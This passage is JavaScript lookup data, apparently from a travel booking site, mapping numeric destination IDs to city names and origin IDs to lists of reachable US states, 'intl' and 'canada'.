destinations["3126"] = 'Puerto Vallarta, Mexico';
destinations["3223"] = 'Punta Cana, Dominican Republic';
destinations["2642"] = 'Quebec City';
destinations["3595"] = 'Quito, Ecuador';
destinations["5476"] = 'Raiatea';
destinations["861"] = 'Raleigh/Durham';
destinations["3501"] = 'Rapid City';
destinations["5362"] = 'Redding';
destinations["4841"] = 'Redmond';
destinations["5601"] = 'Regina';
destinations["1784"] = 'Reno/Tahoe';
destinations["3964"] = 'Reykjavik, Iceland';
destinations["463"] = 'Richmond/Williamsburg';
destinations["3283"] = 'Rio de Janeiro, Brazil';
destinations["4221"] = 'Roanoke';
destinations["5801"] = 'Rochester';
destinations["3502"] = 'Rochester/Lake Ontario';
destinations["6061"] = 'Rockford';
destinations["2981"] = 'Rome, Italy';
destinations["5383"] = 'Saba';
destinations["3503"] = 'Sacramento';
destinations["4461"] = 'Saginaw / Bay City';
destinations["462"] = 'Salt Lake City';
destinations["6021"] = 'Salvador';
destinations["5327"] = 'Salzburg';
destinations["5946"] = 'Samos, Greece';
destinations["5897"] = 'San Andres, Colombia';
destinations["465"] = 'San Antonio';
destinations["661"] = 'San Diego/Del Mar Coast';
destinations["362"] = 'San Francisco';
destinations["821"] = 'San Jose/Silicon Valley';
destinations["421"] = 'San Juan/Eastern Puerto Rico';
destinations["3505"] = 'San Luis Obispo/Central Coast';
destinations["3575"] = 'San Miguel/Leon, Mexico';
destinations["3569"] = 'San Pedro Sula, Honduras';
destinations["3567"] = 'San Salvador, El Salvador';
destinations["3506"] = 'Santa Barbara';
destinations["3586"] = 'Santa Cruz, Bolivia';
destinations["1169"] = 'Santa Fe';
destinations["5364"] = 'Santa Maria';
destinations["5621"] = 'Santa Rosa';
destinations["5941"] = 'Santiago de Compostela';
destinations["3590"] = 'Santiago, Chile';
destinations["3552"] = 'Santo Domingo, Dominican Republic';
destinations["3589"] = 'Sao Paulo, Brazil';
destinations["3507"] = 'Sarasota';
destinations["5893"] = 'Saskatoon';
destinations["1170"] = 'Savannah/Hilton Head';
destinations["461"] = 'Seattle';
destinations["5522"] = 'Seoul';
destinations["5201"] = 'Seville';
destinations["5921"] = 'Shanghai';
destinations["3563"] = 'Shannon, Ireland';
destinations["5922"] = 'Shenzhen';
destinations["5477"] = 'Shimla';
destinations["3508"] = 'Shreveport';
destinations["5443"] = 'Singapore';
destinations["5272"] = 'Sioux Falls';
destinations["5945"] = 'Siros, Cyclades';
destinations["3509"] = 'South Bend';
destinations["3510"] = 'South Padre Island/Harlingen';
destinations["3511"] = 'Spokane';
destinations["3512"] = 'Springfield, MO';
destinations["3553"] = 'St. Croix, U.S. Virgin Islands';
destinations["4112"] = 'St. George/Bryce Canyon';
destinations["3641"] = 'St. Kitts/Nevis, BWI';
destinations["2141"] = 'St. Louis';
destinations["3554"] = 'St. Lucia';
destinations["3555"] = 'St. Maarten/St. Martin, NA';
destinations["681"] = 'St. Thomas, Virgin Islands';
destinations["3513"] = 'Steamboat Springs';
destinations["3282"] = 'Stockholm, Sweden';
destinations["3564"] = 'Strasbourg, France';
destinations["4782"] = 'Stuttgart, Germany';
destinations["3514"] = 'Sun Valley/Hailey';
destinations["5445"] = 'Sydney';
destinations["4361"] = 'Syracuse';
destinations["5884"] = 'Taipei';
destinations["441"] = 'Tallahassee';
destinations["842"] = 'Tampa/Southwest Florida';
destinations["3570"] = 'Tegucigalpa, Honduras';
destinations["5365"] = 'Telluride';
destinations["5895"] = 'Temuco, Chile';
destinations["5928"] = 'Tenerife, Canary Islands';
destinations["3515"] = 'Texarkana';
destinations["4141"] = 'The Exumas, Bahamas';
destinations["5481"] = 'Tikehau Atoll';
destinations["5882"] = 'Tokyo';
destinations["3516"] = 'Toledo';
destinations["741"] = 'Toronto';
destinations["4421"] = 'Tortola, Virgin Islands';
destinations["4641"] = 'Traverse City';
destinations["5401"] = 'Treasure Cay';
destinations["4463"] = 'Tri Cities';
destinations["3550"] = 'Trinidad and Tobago';
destinations["1922"] = 'Tucson';
destinations["3519"] = 'Tulsa';
destinations["3241"] = 'Turks and Caicos Islands';
destinations["3520"] = 'Twin Falls';
destinations["3521"] = 'Vail/Beaver Creek';
destinations["5202"] = 'Valencia';
destinations["1341"] = 'Valley Forge';
destinations["2681"] = 'Vancouver';
destinations["3281"] = 'Venice, Italy';
destinations["3581"] = 'Veracruz, Mexico';
destinations["3533"] = 'Victoria';
destinations["1171"] = 'Vienna, Austria';
destinations["1644"] = 'Warsaw';
destinations["364"] = 'Washington, DC';
destinations["4464"] = 'Wausau';
destinations["5949"] = 'Wellington, NZ';
destinations["4703"] = 'Wenatchee';
destinations["1172"] = 'West Palm Beach';
destinations["3526"] = 'West Yellowstone';
destinations["4341"] = 'White Plains';
destinations["5887"] = 'Whitsunday Islands';
destinations["3527"] = 'Wichita';
destinations["3528"] = 'Wichita Falls';
destinations["5262"] = 'Wilkes Barre/Scranton';
destinations["1201"] = 'Wilmington, DE';
destinations["3529"] = 'Wilmington, NC';
destinations["5224"] = 'Windward Islands';
destinations["4241"] = 'Winnipeg';
destinations["3530"] = 'Worcester';
destinations["5483"] = 'Xian';
destinations["4704"] = 'Yakima';
destinations["5367"] = 'Yuma';
destinations["5944"] = 'Zakynthos, Ionian Islands';
destinations["581"] = 'Zurich, Switzerland';
states_by_orig["501"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["621"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','ME','MI','MN','MO','MS','MT','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["662"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["663"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["981"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','ME','MI','MN','MO','MS','MT','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1281"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["2421"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["363"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["371"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["901"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["5181"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["361"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["364"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["367"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["370"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["2581"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["4721"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OR','PA','TN','TX','UT','VA','WA');
states_by_orig["541"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1081"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NJ','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3501"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','LA','MA','MD','MI','MN','MO','NC','NE','NM','NV','NY','OH','OK','OR','PA','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["2721"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KY','LA','MA','ME','MI','MN','MO','MT','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3423"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["2601"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','ME','MI','MN','MO','NC','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA');
states_by_orig["4741"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["1162"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["3503"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KY','LA','MA','MD','MI','MN','MO','MS','MT','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3496"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["3427"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','HI','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NH','NM','NV','NY','OH','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["2642"] = new Array('intl','AL','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["4761"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KY','LA','MA','ME','MI','MN','MO','NC','NE','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["661"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1167"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','HI','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NM','NV','NY','OH','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3505"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','LA','MA','MD','MI','MN','MO','NC','NJ','NV','NY','OH','OR','PA','TN','TX','UT','VA','WA');
states_by_orig["3502"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["3432"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','LA','MA','MD','MI','MN','MO','NC','NV','NY','OH','OR','PA','RI','SC','TN','TX','VA','WA','WI');
states_by_orig["2701"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MI','MN','MO','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','VA','WA');
states_by_orig["4883"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','LA','MA','MI','MN','MO','NC','NY','OH','OR','PA','TN','TX','VA','WA');
states_by_orig["1170"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["3506"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','TN','TX','UT','VA','WA','WI');
states_by_orig["3442"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NJ','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','VA','WA','WY');
states_by_orig["2741"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KS','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["5271"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["1305"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OR','PA','RI','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["3507"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NH','NJ','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','VA','WA','WI');
states_by_orig["3444"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KS','LA','MA','MD','MI','MN','MO','NC','NH','NJ','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["2762"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','MI','MN','MO','MS','MT','NC','NE','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["5272"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KS','KY','LA','MA','MD','MI','MN','MO','NC','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["841"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1721"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3508"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["741"] = new Array('intl','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3445"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["861"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["2763"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["5301"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NM','NV','NY','OH','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["1741"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NH','NJ','NV','NY','OH','OK','OR','PA','RI','TN','TX','UT','VA','WA','WI');
states_by_orig["3509"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["362"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1781"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KS','KY','LA','MA','ME','MI','MN','MO','MS','MT','NC','NH','NJ','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3449"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["2764"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["5421"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["1782"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3511"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NM','NV','NY','OH','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["1922"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NV','NY','OH','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3451"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NJ','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA');
states_by_orig["921"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["2841"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["5725"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','KY','LA','MA','MD','MI','MN','MO','NC','NE','NV','NY','OH','OK','OR','PA','TN','TX','UT','VA','WA');
states_by_orig["1783"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3512"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IL','IN','LA','MA','MD','MI','MN','MO','NC','NJ','NV','NY','OH','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["2681"] = new Array('intl','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','LA','MA','MD','MI','MN','MO','MS','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI');
states_by_orig["3452"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["1041"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["2922"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NH','NJ','NM','NV','NY','OH','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1784"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["3516"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["365"] = new Array('intl','canada','AZ','AL','CA','CO','CT','DC','FL','GA','IA','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["366"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["3463"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','IA','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["1061"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["2941"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','NC','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
states_by_orig["1785"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MT','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','SC','TN','TX','UT','VA','WA','WY');
states_by_orig["3519"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MT','NC','NE','NJ','NM','NV','NY','OH','OR','PA','RI','SC','TN','TX','UT','VA','WA','WI','WY');
states_by_orig["401"] = new Array('intl','canada','AL','AZ','CA','CO','CT','DC','FL','GA','IA','ID','IL','IN','KS','KY','LA','MA','MD','ME','MI','MN','MO','MS','NC','NE','NH','NJ','NM','NV','NY','OH','OK','OR','PA','RI','TN','TX','UT','VA','VT','WA','WI');
states_by_orig["3464"] = new Array('intl','canada','AZ','CA','CO','CT','DC','FL','GA','HI','ID','IL','IN','LA','MA','MD','MI','MN','MO','NC','NJ','NM','NV','NY','OH','OR','PA','TN','TX','UT','VA','WA');
states_by_orig["1166"] = new Array('intl','canada','AK','AL','AZ','CA','CO','CT','DC','FL','GA','HI','IA','IL','IN','KY','LA','MA','MD','ME','MI','MN','MO','MS','MT','NC','NE','NJ','NM','NV','NY','OH','OK','OR','PA','RI','SC','TN','TX','UT','VA','VT','WA','WI','WY');
